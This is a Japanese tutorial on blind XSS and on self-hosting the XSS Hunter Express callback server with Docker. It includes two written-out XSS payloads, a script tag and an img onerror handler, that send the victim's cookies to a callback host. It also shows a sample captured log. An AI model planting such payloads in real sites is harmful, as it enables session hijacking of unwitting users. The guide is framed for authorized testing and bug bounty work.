はじめに
XSS Hunter Express は、Blind XSS(盲目型XSS) の検出と検証を行うための
自己ホスト型の軽量フレームワークです。
オリジナルの XSS Hunter をベースに
Node.js / Express で再実装されており、個人や研究者が簡単に自分専用のXSSキャプチャ環境を立ち上げられます。
Blind XSSとは?
まず、Blind XSS の概念を整理しましょう。
| 項目 | 内容 |
|---|---|
| 通常のXSS | 攻撃者が自分で実行結果(alertなど)を確認できる |
| Blind XSS | 攻撃者は結果を確認できず、他のユーザー(管理者など)の画面で発火する |
| 例 | 「お問い合わせフォーム」や「サポートチケット」など、入力が社内ポータルで閲覧されるケース |
つまり、攻撃者が挿入したスクリプトが他人のブラウザで実行されたかどうか確認できないため、
“コールバックを受け取る仕組み” が必要になります。
そこで役立つのが XSS Hunter Express です。
XSS Hunter Expressの特徴
| 機能 | 説明 |
|---|---|
| 自動記録 | ペイロードが発火すると、IP・UserAgent・Referrer・Cookies(非HttpOnly)などを記録 |
| スクリーンショット取得 | DOMや画面キャプチャを自動で保存(オプション) |
| 自己ホスト可能 | VPSやクラウド上に自前で立てる。データは完全に自分の手元に残る |
| 通知対応 | Slack / Discord / Webhook に新規ヒットを通知する設定も可能 |
| 簡単なペイロード発行 | GUIからユニークな追跡URLを生成し、HTML・JS・IMGイベントなどに埋め込み可 |
セットアップ手順(Docker版)
ここでは、最もシンプルな Docker + Docker Compose構成での導入を説明します。
1. 依存環境の準備
- Linux系VPS(Ubuntu推奨)
-
dockerとdocker-composeをインストール - ドメインまたはサブドメインをVPSに向けて設定(例:
xss.yourdomain.com)
sudo apt update
sudo apt install docker.io docker-compose git -y
2. リポジトリのクローン
git clone https://github.com/mandatoryprogrammer/xsshunter-express.git
cd xsshunter-express
3. 起動設定と実行
# PostgreSQLとアプリを順に起動
docker-compose up -d postgresdb
docker-compose up -d xsshunterexpress
初回起動時に、コンソールに管理者パスワードが表示されます。
(忘れた場合は、Postgres内のusersテーブルを確認)
4. HTTPS化(推奨)
Let's Encrypt + Nginxリバースプロキシを使ってTLSを設定します。
sudo apt install nginx certbot python3-certbot-nginx -y
sudo certbot --nginx -d xss.yourdomain.com
5. DNS設定
AレコードでサブドメインをVPSのIPに向けます。
これで、https://xss.yourdomain.com/ でアクセス可能になります。
ペイロードの作成と実行例
ログイン後、ダッシュボードから「New Payload」を生成できます。
または、自分でペイロードを作成して任意の場所に埋め込みましょう。
例1:Cookie送信
</textarea><script>
fetch('https://xss.yourdomain.com/collect?cookie=' + btoa(document.cookie));
</script>
例2:画像イベント利用(タグが閉じられない場合)
<img src="x" onerror="fetch('https://xss.yourdomain.com/err?c='+btoa(document.cookie))">
これらのスクリプトが被害者のブラウザで実行されると、
XSS Hunter Express 側で以下のようにログが記録されます:
IP: 192.168.x.x
User-Agent: Chrome/Headless
Referrer: http://target.example.com/
Cookies: sessionid=xxxxxx
Timestamp: 2025-10-08T17:00
さらに設定によっては、Slack通知やスクリーンショットも届きます。
セキュリティ上の注意点
| 注意点 | 内容 |
|---|---|
| 権限のある環境でのみ使用 | 未許可のシステムにBlind XSSを仕込むのは不正アクセスに該当します |
| 管理画面の保護 | Basic認証やFirewallで制限しましょう |
| HTTPS必須 | Cookie送信の精度・安全性が向上します |
| HttpOnly Cookieは取得不可 | JavaScriptからは読み取れません(セキュリティ機能です) |
参考リポジトリとツール
| 名称 | リンク |
|---|---|
| XSS Hunter Express(公式) | https://github.com/mandatoryprogrammer/xsshunter-express |
| ⚡ 簡易セットアップスクリプト | https://github.com/adamjsturge/easy-xsshunter-express |
| Docker Hub イメージ |
docker pull xsshunterexpress(フォークによる) |
| 通知連携 | Slack / Discord / Webhook Integration対応ガイド |
まとめ
| 要点 | 内容 |
|---|---|
| Blind XSS専用のキャプチャ環境 | 外部コールバックでスクリプト実行を検知 |
| Dockerで即構築 | 環境構築が非常に容易 |
| 完全自己管理型 | データは外部に送られない |
| 通知・可視化・再現分析が容易 | バグバウンティ調査にも活用できる |